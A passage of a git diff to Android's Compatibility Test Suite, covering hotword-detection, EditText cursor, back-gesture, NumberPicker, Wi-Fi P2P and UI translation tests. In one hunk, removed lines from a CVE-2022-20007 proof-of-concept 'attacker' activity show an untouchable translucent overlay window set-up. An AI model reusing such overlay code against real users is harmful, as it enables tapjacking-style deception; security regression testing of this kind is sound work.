+ Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+ }
+
+ @Test
+ @RequiresDevice
+ public void testAttentionService_onDetectFromExternalSource_doesNotReceiveProximity() {
+ // Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+
+ CtsTestAttentionService.respondProximity(SUCCESSFUL_PROXIMITY_DISTANCE);
+
+ verifyProximityBundle(
+ performAndGetDetectionResult(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_EXTERNAL_SOURCE_ONDETECT_TEST,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC),
+ null);
+
+ testHotwordDetection(mActivityTestRule, mContext,
+ Utils.HOTWORD_DETECTION_SERVICE_DSP_DESTROY_DETECTOR,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
+ Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
+ Utils.HOTWORD_DETECTION_SERVICE_BASIC);
+ }
+
+ // simply check that the proximity values are equal.
+ private void verifyProximityBundle(Parcelable result, Double expected) {
+ assertThat(result).isInstanceOf(EventPayloadParcelable.class);
+ HotwordDetectedResult hotwordDetectedResult =
+ ((EventPayloadParcelable) result).mHotwordDetectedResult;
+ assertThat(hotwordDetectedResult).isNotNull();
+ if (expected == null || !ENABLE_PROXIMITY_RESULT) {
+ assertThat(
+ hotwordDetectedResult.getExtras().containsKey(EXTRA_PROXIMITY_METERS))
+ .isFalse();
+ } else {
+ assertThat(
+ hotwordDetectedResult.getExtras().containsKey(EXTRA_PROXIMITY_METERS))
+ .isTrue();
+ assertThat(
+ hotwordDetectedResult.getExtras().getDouble(EXTRA_PROXIMITY_METERS))
+ .isEqualTo(expected);
+ }
+ }
+
+ private static String getAttentionServiceComponent() {
+ return runShellCommand("cmd attention getAttentionServiceComponent");
+ }
+
+ private static boolean setTestableAttentionService(String service) {
+ return runShellCommand("cmd attention setTestableAttentionService " + service)
+ .equals("true");
+ }
+
+ @Override
+ public String getVoiceInteractionService() {
+ return "android.voiceinteraction.cts/"
+ + "android.voiceinteraction.service.BasicVoiceInteractionService";
+ }
+}
+
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/TestVoiceInteractionServiceActivity.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/TestVoiceInteractionServiceActivity.java
index 70200b8..2792389 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/TestVoiceInteractionServiceActivity.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/TestVoiceInteractionServiceActivity.java
@@ -21,13 +21,11 @@
import android.content.Intent;
import android.util.Log;
import android.voiceinteraction.common.Utils;
-import android.voiceinteraction.service.BasicVoiceInteractionService;
-import android.voiceinteraction.service.MainInteractionService;
public class TestVoiceInteractionServiceActivity extends Activity {
static final String TAG = "TestVoiceInteractionServiceActivity";
- void triggerHotwordDetectionServiceTest(int serviceType, int testEvent) {
+ public void triggerHotwordDetectionServiceTest(int serviceType, int testEvent) {
Intent serviceIntent = new Intent();
if (serviceType == Utils.HOTWORD_DETECTION_SERVICE_NONE) {
serviceIntent.setComponent(new ComponentName(this,
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/testcore/VoiceInteractionDetectionHelper.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/testcore/VoiceInteractionDetectionHelper.java
new file mode 100644
index 0000000..9e7f573
--- /dev/null
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/testcore/VoiceInteractionDetectionHelper.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.cts.testcore;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.Parcelable;
+import android.voiceinteraction.common.Utils;
+import android.voiceinteraction.cts.TestVoiceInteractionServiceActivity;
+
+import androidx.annotation.NonNull;
+import androidx.test.ext.junit.rules.ActivityScenarioRule;
+
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+/**
+ * A helper class to perform an intent to start the Voice Interaction Service and receive Hotword
+ * Detection Result.
+ */
+public class VoiceInteractionDetectionHelper {
+ private static final int TEST_RESULT_AWAIT_TIMEOUT_MS = 10 * 1000;
+
+ public static void perform(
+ ActivityScenarioRule<TestVoiceInteractionServiceActivity> activityTestRule,
+ int testType, int serviceType) {
+ activityTestRule.getScenario().onActivity(
+ activity -> activity.triggerHotwordDetectionServiceTest(
+ serviceType, testType));
+ }
+
+ public static void testHotwordDetection(
+ ActivityScenarioRule<TestVoiceInteractionServiceActivity> activityTestRule,
+ Context context, int testType, String expectedIntent, int expectedResult,
+ int serviceType) {
+ final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(context,
+ expectedIntent);
+ receiver.register();
+ perform(activityTestRule, testType, serviceType);
+ final Intent intent = receiver.awaitForBroadcast(TEST_RESULT_AWAIT_TIMEOUT_MS);
+ receiver.unregisterQuietly();
+
+ assertThat(intent).isNotNull();
+ assertThat(intent.getIntExtra(Utils.KEY_TEST_RESULT, -1)).isEqualTo(expectedResult);
+ }
+
+ @NonNull
+ public static Parcelable performAndGetDetectionResult(
+ ActivityScenarioRule<TestVoiceInteractionServiceActivity> activityTestRule,
+ Context context, int testType, int serviceType) {
+ final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(context,
+ Utils.HOTWORD_DETECTION_SERVICE_ONDETECT_RESULT_INTENT);
+ receiver.register();
+ perform(activityTestRule, testType, serviceType);
+ final Intent intent = receiver.awaitForBroadcast(TEST_RESULT_AWAIT_TIMEOUT_MS);
+ receiver.unregisterQuietly();
+
+ assertThat(intent).isNotNull();
+ final Parcelable result = intent.getParcelableExtra(Utils.KEY_TEST_RESULT);
+ assertThat(result).isNotNull();
+ return result;
+ }
+}
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index 0d562db..5f41171 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -42,6 +42,15 @@
</intent-filter>
</activity>
+ <activity android:name="android.widget.cts.EditTextCursorCtsActivity"
+ android:label="Empty test activity"
+ android:launchMode="singleTop"
+ android:exported="true">
+ <intent-filter>
+ <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+ </intent-filter>
+ </activity>
+
<activity android:name="android.widget.cts.AbsoluteLayoutCtsActivity"
android:label="AbsoluteLayoutCtsActivity"
android:exported="true">
diff --git a/tests/tests/widget/res/layout/numberpicker_layout.xml b/tests/tests/widget/res/layout/numberpicker_layout.xml
index 7c6dfb4..dd28324 100644
--- a/tests/tests/widget/res/layout/numberpicker_layout.xml
+++ b/tests/tests/widget/res/layout/numberpicker_layout.xml
@@ -19,7 +19,8 @@
xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/container"
android:layout_width="match_parent"
- android:layout_height="wrap_content"
+ android:layout_height="match_parent"
+ android:gravity="center"
android:orientation="vertical">
<NumberPicker
diff --git a/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java b/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java
index a4ef244..e0c172a 100644
--- a/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java
@@ -21,12 +21,17 @@
import android.app.Instrumentation;
import android.graphics.Color;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
import android.support.test.uiautomator.UiDevice;
import android.view.Gravity;
+import android.view.InputEvent;
+import android.view.MotionEvent;
import android.view.ViewGroup;
import android.widget.FrameLayout;
import android.widget.PopupWindow;
+import androidx.annotation.NonNull;
import androidx.test.InstrumentationRegistry;
import androidx.test.ext.junit.rules.ActivityScenarioRule;
import androidx.test.filters.MediumTest;
@@ -40,7 +45,10 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+// @AppModeFull because GestureNavRule does not work for
+// instant mode tests (b/238975931)
@MediumTest
+@AppModeFull
@RunWith(AndroidJUnit4.class)
public class BackInvokedOnWidgetsTest {
@@ -93,7 +101,45 @@
private void doBackGesture() {
int midHeight = mUiDevice.getDisplayHeight() / 2;
int midWidth = mUiDevice.getDisplayWidth() / 2;
- mUiDevice.swipe(0, midHeight, midWidth, midHeight, 100);
+ quickSwipe(0, midHeight, midWidth, midHeight, 10);
mUiDevice.waitForIdle();
}
+
+ private void injectInputEventUnSynced(@NonNull InputEvent event) {
+ mInstrumentation.getUiAutomation().injectInputEvent(event, false /* sync */,
+ false /* waitForAnimations */);
+ }
+
+ /**
+ * Injecting a sequence of motion event to simulate swipe without waiting for sync transaction.
+ */
+ private void quickSwipe(float startX, float startY, float endX, float endY, int steps) {
+ if (steps <= 0) {
+ steps = 1;
+ }
+ final long startDownTime = SystemClock.uptimeMillis();
+ MotionEvent firstDown = MotionEvent.obtain(startDownTime, startDownTime,
+ MotionEvent.ACTION_DOWN, startX, startY, 0);
+ injectInputEventUnSynced(firstDown);
+
+ // inject in every 5 ms.
+ final int delayMillis = 5;
+ long nextEventTime = startDownTime + delayMillis;
+ final float stepGapX = (endX - startX) / steps;
+ final float stepGapY = (endY - startY) / steps;
+ for (int i = 0; i < steps; i++) {
+ SystemClock.sleep(delayMillis);
+ final float nextX = startX + stepGapX * i;
+ final float nextY = startY + stepGapY * i;
+ MotionEvent move = MotionEvent.obtain(startDownTime, nextEventTime,
+ MotionEvent.ACTION_MOVE, nextX, nextY, 0);
+ injectInputEventUnSynced(move);
+ nextEventTime += delayMillis;
+ }
+
+ SystemClock.sleep(delayMillis);
+ MotionEvent up = MotionEvent.obtain(startDownTime, nextEventTime,
+ MotionEvent.ACTION_UP, endX, endY, 0);
+ injectInputEventUnSynced(up);
+ }
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java b/tests/tests/widget/src/android/widget/cts/EditTextCursorCtsActivity.java
similarity index 61%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
copy to tests/tests/widget/src/android/widget/cts/EditTextCursorCtsActivity.java
index ad87ea7..a393c58 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/EditTextCursorCtsActivity.java
@@ -14,20 +14,23 @@
* limitations under the License.
*/
-package android.security.cts.CVE_2022_20007_attacker;
+package android.widget.cts;
import android.app.Activity;
import android.os.Bundle;
-import android.view.WindowManager;
+import android.widget.EditText;
-public class PocActivity extends Activity {
+public class EditTextCursorCtsActivity extends Activity {
+ /**
+ * Called when the activity is first created.
+ */
@Override
- protected void onCreate(Bundle savedInstanceState) {
- setTheme(android.R.style.Theme_Translucent_NoTitleBar_Fullscreen);
+ public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_main);
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
- | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
+ setContentView(R.layout.edittext_layout);
+
+ EditText et = findViewById(R.id.edittext_simple1);
+ et.setText("test for blinking cursor");
}
}
diff --git a/tests/tests/widget/src/android/widget/cts/EditTextTest.java b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
index 2370562..ca3d7db 100755
--- a/tests/tests/widget/src/android/widget/cts/EditTextTest.java
+++ b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
@@ -19,6 +19,7 @@
import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertSame;
@@ -27,12 +28,14 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.content.Context;
+import android.content.Intent;
import android.content.res.Configuration;
import android.graphics.Point;
import android.os.SystemClock;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
import android.text.Editable;
import android.text.InputFilter;
import android.text.InputType;
@@ -51,6 +54,7 @@
import android.view.accessibility.AccessibilityNodeInfo;
import android.view.inputmethod.EditorInfo;
import android.widget.EditText;
+import android.widget.Editor;
import android.widget.TextView;
import android.widget.TextView.BufferType;
@@ -89,6 +93,8 @@
@Rule
public ActivityTestRule<EditTextCtsActivity> mActivityRule =
new ActivityTestRule<>(EditTextCtsActivity.class);
+ public ActivityTestRule<EditTextCursorCtsActivity> mEmptyActivityRule =
+ new ActivityTestRule<>(EditTextCursorCtsActivity.class, false, false);
@Before
public void setup() {
@@ -760,4 +766,67 @@
object.click();
SystemClock.sleep(ViewConfiguration.getDoubleTapTimeout() + 50);
}
+
+ @Test
+ public void testCursorNotBlinkingOnNewActivity_WithoutFocus() {
+ Activity testActivity = mEmptyActivityRule.launchActivity(null);
+ EditText et = testActivity.findViewById(R.id.edittext_simple1);
+ Editor editor = et.getEditorForTesting();
+ boolean cursorBlinking = editor.isBlinking();
+ assertFalse(cursorBlinking);
+ }
+
+ @Test
+ public void testCursorBlinkingOnNewActivity_WithFocus() {
+ Activity testActivity = mEmptyActivityRule.launchActivity(null);
+ EditText et = testActivity.findViewById(R.id.edittext_simple1);
+ Editor editor = et.getEditorForTesting();
+
+ mInstrumentation.runOnMainSync(() -> {
+ et.requestFocus();
+ });
+
+ boolean cursorBlinking = editor.isBlinking();
+ assertTrue(cursorBlinking);
+ }
+
+ @Test
+ public void testSuspendAndResumeBlinkingCursor() {
+ Activity testActivity = mEmptyActivityRule.launchActivity(null);
+ final EditText et = testActivity.findViewById(R.id.edittext_simple1);
+ Editor editor = et.getEditorForTesting();
+
+ mInstrumentation.runOnMainSync(() -> {
+ et.requestFocus();
+ });
+
+ UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+ boolean cursorBlinking = editor.isBlinking();
+ assertTrue(cursorBlinking);
+
+ // Send activity to the background.
+ device.pressHome();
+ device.waitForIdle();
+
+ cursorBlinking = editor.isBlinking();
+ assertFalse(cursorBlinking);
+
+ // Bring the activity back into the foreground
+ Intent resumeActivity = new Intent(mInstrumentation.getContext(),
+ EditTextCursorCtsActivity.class);
+ resumeActivity.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
+ mActivity.startActivity(resumeActivity);
+
+ // Check if the activity is in the foreground.
+ device.wait(Until.findObject(By.text("test for blinking cursor")), 2000);
+
+ mInstrumentation.runOnMainSync(() -> {
+ et.requestFocus();
+ });
+
+ cursorBlinking = editor.isBlinking();
+ assertTrue(cursorBlinking);
+ }
+
}
diff --git a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
index eecc071..6f08587 100644
--- a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
@@ -376,7 +376,7 @@
numberPickerMiddleX,
numberPickerStartY,
0,
- screenHeight - numberPickerStartY); // drag down to the bottom of the screen.
+ mNumberPicker.getHeight()); // drag down to the bottom of the screen.
Assert.assertTrue("Expected to get to IDLE state within 5 seconds",
latch.await(5, TimeUnit.SECONDS));
@@ -444,7 +444,7 @@
numberPickerMiddleX,
numberPickerEndY,
0,
- -(numberPickerEndY)); // drag up to the top of the screen.
+ -(mNumberPicker.getHeight())); // drag up to the top of the screen.
Assert.assertTrue("Expected to get to IDLE state within 5 seconds",
latch.await(5, TimeUnit.SECONDS));
} catch (Throwable t) {
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
index ac9e140..f421d31 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
@@ -628,6 +628,8 @@
mRemoteViews.setBitmap(R.id.remoteView_absolute, "setImageBitmap", bitmap);
assertThrowsOnReapply(ActionException.class);
+
+ assertEquals(bitmap.getAllocationByteCount(), mRemoteViews.estimateMemoryUsage());
}
@Test
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
index f7322dd..bbd4378 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
@@ -50,6 +50,7 @@
import androidx.test.filters.SdkSuppress;
import androidx.test.platform.app.InstrumentationRegistry;
+import com.android.compatibility.common.util.ApiLevelUtil;
import com.android.compatibility.common.util.ShellIdentityUtils;
import com.android.compatibility.common.util.SystemUtil;
@@ -274,6 +275,29 @@
new LinkedList<Integer>(Arrays.asList(waitSingleSync)));
}
+ private NetworkInfo.DetailedState waitForNextNetworkState() {
+ assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+ assertNotNull(mMySync.expectedNetworkInfo);
+ return mMySync.expectedNetworkInfo.getDetailedState();
+ }
+
+ private boolean waitForConnectedNetworkState() {
+ // The possible orders of network states are:
+ // * IDLE > CONNECTING > CONNECTED for lazy initialization
+ // * DISCONNECTED > CONNECTING > CONNECTED for previous group removal
+ // * CONNECTING > CONNECTED
+ NetworkInfo.DetailedState state = waitForNextNetworkState();
+ if (state == NetworkInfo.DetailedState.IDLE
+ || state == NetworkInfo.DetailedState.DISCONNECTED) {
+ state = waitForNextNetworkState();
+ }
+ if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)
+ && state == NetworkInfo.DetailedState.CONNECTING) {
+ state = waitForNextNetworkState();
+ }
+ return state == NetworkInfo.DetailedState.CONNECTED;
+ }
+
private boolean waitForServiceResponse(MyResponse waitResponse) {
synchronized (waitResponse) {
long timeout = System.currentTimeMillis() + TIMEOUT_MSEC;
@@ -508,21 +532,7 @@
mWifiP2pManager.createGroup(mWifiP2pChannel, mActionListener);
assertTrue(waitForServiceResponse(mMyResponse));
assertTrue(mMyResponse.success);
-
- // The first network state might be IDLE due to
- // lazy initialization, but not CONNECTED.
- for (int i = 0; i < 2; i++) {
- assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
- assertNotNull(mMySync.expectedNetworkInfo);
- if (NetworkInfo.DetailedState.CONNECTED ==
- mMySync.expectedNetworkInfo.getDetailedState()) {
- break;
- }
- assertEquals(NetworkInfo.DetailedState.IDLE,
- mMySync.expectedNetworkInfo.getDetailedState());
- }
- assertEquals(NetworkInfo.DetailedState.CONNECTED,
- mMySync.expectedNetworkInfo.getDetailedState());
+ assertTrue(waitForConnectedNetworkState());
resetResponse(mMyResponse);
mWifiP2pManager.requestNetworkInfo(mWifiP2pChannel,
@@ -660,21 +670,7 @@
mWifiP2pManager.createGroup(mWifiP2pChannel, mActionListener);
assertTrue(waitForServiceResponse(mMyResponse));
assertTrue(mMyResponse.success);
-
- // The first network state might be IDLE due to
- // lazy initialization, but not CONNECTED.
- for (int i = 0; i < 2; i++) {
- assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
- assertNotNull(mMySync.expectedNetworkInfo);
- if (NetworkInfo.DetailedState.CONNECTED ==
- mMySync.expectedNetworkInfo.getDetailedState()) {
- break;
- }
- assertEquals(NetworkInfo.DetailedState.IDLE,
- mMySync.expectedNetworkInfo.getDetailedState());
- }
- assertEquals(NetworkInfo.DetailedState.CONNECTED,
- mMySync.expectedNetworkInfo.getDetailedState());
+ assertTrue(waitForConnectedNetworkState());
resetResponse(mMyResponse);
mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
@@ -707,10 +703,7 @@
mWifiP2pManager.createGroup(mWifiP2pChannel, mActionListener);
assertTrue(waitForServiceResponse(mMyResponse));
assertTrue(mMyResponse.success);
- assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
- assertNotNull(mMySync.expectedNetworkInfo);
- assertEquals(NetworkInfo.DetailedState.CONNECTED,
- mMySync.expectedNetworkInfo.getDetailedState());
+ assertTrue(waitForConnectedNetworkState());
resetResponse(mMyResponse);
mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
@@ -812,21 +805,7 @@
mWifiP2pManager.createGroup(mWifiP2pChannel, mActionListener);
assertTrue(waitForServiceResponse(mMyResponse));
assertTrue(mMyResponse.success);
-
- // The first network state might be IDLE due to
- // lazy initialization, but not CONNECTED.
- for (int i = 0; i < 2; i++) {
- assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
- assertNotNull(mMySync.expectedNetworkInfo);
- if (NetworkInfo.DetailedState.CONNECTED
- == mMySync.expectedNetworkInfo.getDetailedState()) {
- break;
- }
- assertEquals(NetworkInfo.DetailedState.IDLE,
- mMySync.expectedNetworkInfo.getDetailedState());
- }
- assertEquals(NetworkInfo.DetailedState.CONNECTED,
- mMySync.expectedNetworkInfo.getDetailedState());
+ assertTrue(waitForConnectedNetworkState());
resetResponse(mMyResponse);
MacAddress peerMacAddress = MacAddress.fromString(mTestWifiP2pPeerConfig.deviceAddress);
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyMultiInternetWifiNetworkTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyMultiInternetWifiNetworkTest.java
index b61f11d..314d097 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyMultiInternetWifiNetworkTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyMultiInternetWifiNetworkTest.java
@@ -151,6 +151,8 @@
() -> wifiManager.setScanThrottleEnabled(false));
// Enable Wifi
+ sWasWifiEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+ () -> wifiManager.isWifiEnabled());
ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.setWifiEnabled(true));
// Make sure wifi is enabled
PollingCheck.check("Wifi not enabled", DURATION_MILLIS, () -> wifiManager.isWifiEnabled());
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
index 02193c3..7f679ff 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
@@ -786,6 +786,7 @@
// be the primary connection.
if (mWifiManager.isStaConcurrencyForLocalOnlyConnectionsSupported()) {
assertThat(wifiInfo.isPrimary()).isFalse();
+ assertConnectionEquals(network, mWifiManager.getConnectionInfo());
} else {
assertThat(wifiInfo.isPrimary()).isTrue();
}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 3b004dd..e3ff5f8 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -97,6 +97,7 @@
import androidx.test.platform.app.InstrumentationRegistry;
import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.FeatureUtil;
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.PropertyUtil;
@@ -5468,6 +5469,7 @@
/**
* Tests {@link WifiConfiguration#setBssidAllowlist(List)}.
*/
+ @ApiTest(apis = "android.net.wifi.WifiConfiguration#setBssidAllowlist")
public void testBssidAllowlist() throws Exception {
if (!WifiFeature.isWifiSupported(getContext())) {
// skip the test if WiFi is not supported
@@ -5518,7 +5520,6 @@
waitForConnection();
wifiInfo = mWifiManager.getConnectionInfo();
assertEquals(networkId, wifiInfo.getNetworkId());
- assertEquals(connectedBssid, wifiInfo.getBSSID());
} finally {
// Reset BSSID allow list to accept all APs
for (WifiConfiguration network : savedNetworks) {
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiSsidTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiSsidTest.java
index c162f9e..d4b5ec1 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiSsidTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiSsidTest.java
@@ -57,13 +57,6 @@
WifiSsid wifiSsidNull = WifiSsid.fromBytes(null);
assertThat(wifiSsidNull).isNotNull();
assertThat(wifiSsidNull.getBytes()).isEmpty();
-
- try {
- WifiSsid.fromBytes(new byte[33]);
- fail("Expected IllegalArgumentException for byte array length greater than 32.");
- } catch (IllegalArgumentException e) {
- // Success
- }
}
/**
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
index 2a3f67a..6205ee8 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -605,7 +605,7 @@
builder.setRttBurstSize(RangingRequest.getMaxRttBurstSize());
RangingRequest request = builder.build();
- // Perform the rquest
+ // Perform the request
rangeNon11mcApRequest(request, testAp, MAX_NON11MC_VARIATION_FROM_AVERAGE_DISTANCE_MM);
}
@@ -639,7 +639,9 @@
builder.setRttBurstSize(RangingRequest.getMaxRttBurstSize());
RangingRequest request = builder.build();
- // Perform the rquest
+
+
+ // Perform the request
rangeNon11mcApRequest(request, testAp, MAX_NON11MC_VARIATION_FROM_AVERAGE_DISTANCE_MM);
}
@@ -747,15 +749,13 @@
ResultType.NEUTRAL, ResultUnit.NONE);
reportLog.submit();
- // This bug below has been addressed by making the test parameters for Non-80211mc devices
- // less stringent. Please update the bug if this does not solve the problem.
- // TODO(b/192909380): enable the performance verification after device fix.
-
- // Analyze results
+ /** TODO(b/237011062): enable the performance verification new API to check capabilities
+ // Analyze results
assertTrue("Wi-Fi RTT failure rate exceeds threshold: FAIL=" + numFailures
+ ", ITERATIONS="
+ NUM_OF_RTT_ITERATIONS + ", AP=" + testAp,
numFailures <= NUM_OF_RTT_ITERATIONS * MAX_NON11MC_FAILURE_RATE_PERCENT / 100);
+ */
if (numFailures != NUM_OF_RTT_ITERATIONS) {
// Calculate an initial average using all measurements to determine distance outliers
diff --git a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
index 1937288..d73c707 100644
--- a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
+++ b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
@@ -80,6 +80,7 @@
import androidx.test.filters.FlakyTest;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.BlockingBroadcastReceiver;
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.RequiredServiceRule;
@@ -442,6 +443,38 @@
Mockito.verify(mockCallback, Mockito.times(1)).onHideTranslation(any());
}
+
+ @Test
+ @ApiTest(apis = {"android.view.translation.UiTranslationManagerTest#startUiTranslation",
+ "android.view.View#setViewTranslationCallback"})
+ public void testUiTranslation_CustomViewTranslationCallback_DetachAndReattach()
+ throws Throwable {
+ final Pair<List<AutofillId>, ContentCaptureContext> result =
+ enableServicesAndStartActivityForTranslation();
+ final List<AutofillId> views = result.first;
+ final ContentCaptureContext contentCaptureContext = result.second;
+
+ // Set ViewTranslationCallback
+ ViewTranslationCallback mockCallback = Mockito.mock(ViewTranslationCallback.class);
+ mTextView.setViewTranslationCallback(mockCallback);
+ // Set response
+ sTranslationReplier.addResponse(createViewsTranslationResponse(views, "success"));
+
+ mActivityScenario.onActivity(activity -> {
+ // Toggling the visibility will cause detach and reattach. This test ensures the
+ // custom callback is not cleared when this happens.
+ mTextView.setVisibility(View.INVISIBLE);
+ mTextView.setVisibility(View.VISIBLE);
+ });
+ startUiTranslation(/* shouldPadContent */ false, views, contentCaptureContext);
+
+ ArgumentCaptor<View> viewArgumentCaptor = ArgumentCaptor.forClass(View.class);
+ Mockito.verify(mockCallback, Mockito.times(1)).onShowTranslation(
+ viewArgumentCaptor.capture());
+ TextView capturedView = (TextView) viewArgumentCaptor.getValue();
+ assertThat(capturedView.getAutofillId()).isEqualTo(mTextView.getAutofillId());
+ }
+
@Test
@FlakyTest(bugId = 192418800)
public void testUiTranslation_ViewTranslationCallback_paddingText() throws Throwable {
diff --git a/tests/uwb/src/android/uwb/cts/RangingSessionTest.java b/tests/uwb/src/android/uwb/cts/RangingSessionTest.java
deleted file mode 100644
index 6fcdc74..0000000
